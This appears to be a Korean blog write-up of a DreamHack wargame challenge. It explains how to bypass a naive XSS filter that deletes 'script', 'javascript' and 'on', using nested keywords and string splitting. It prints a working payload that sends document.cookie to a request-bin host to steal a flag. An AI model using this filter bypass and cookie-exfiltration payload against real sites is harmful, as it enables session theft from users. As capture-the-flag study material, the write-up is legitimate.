DreamHack

XSS Filtering Bypass

흑조롱이 2024. 4. 18. 07:05

https://dreamhack.io/wargame/challenges/433

 

XSS Filtering Bypass

Description Exercise: XSS Filtering Bypass에서 실습하는 문제입니다. 문제 수정 내역 2023.08.04 Dockerfile 제공

dreamhack.io

I. 문제 개요

필터링을 우회하여, 쿠키에 저장된 flag를 읽는 것이 목적이다.

 

II. 취약점 분석

1. 필터링 우회

 

"javascript", "script", "on" 3개의 단어를 필터링 하여, 해당되는 단어를 빈 문자열 ""로 치환한다.

 

 

그러면 "script" 안에 "script"를 한번 더 넣은 "scriscriptpt"를 처리하는 경우를 생각해보자. 

 

"scriscriptpt" 안의 "script" 문자열은 ""로 치환하여 제거할 것이다.

 

그러면 남은 "scri"와 "pt"가 합쳐져 "script" 가 완성되고, 필터링을 우회할 수 있다.

 

2. Payload 설계

<scriscriptpt>document["locatio"+"n"].href="DREAMHACK_TOOLS_REQUEST_BIN_ADDR/?flag="+document.cookie;</scriscriptpt>

 

쿠키에 들어있는 flag를 우리가 만든 서버로 보냄으로써, flag를 볼 수 있다.

 

"script"부분은 "scriscriptpt"로 대체하여 필터링을 우회한다.

 

"location"에서 "on"이 필터링에 걸릴 수 있기에, "locatio"와 "n"으로 단어를 분리해야 한다.

 

3. 공격 시나리오

XSS를 유발하여, 저장된 쿠키를  우리가 만든 원격 서버로 전송한다.

 

원격 서버에서는 XSS의 결과로 받은 쿠키를 읽을 수 있다.

 

III. Exploit

 

 

앞서 설계한 payload는 "/flag" 엔드포인트에 입력해야 한다.

 

IV. 풀이 결과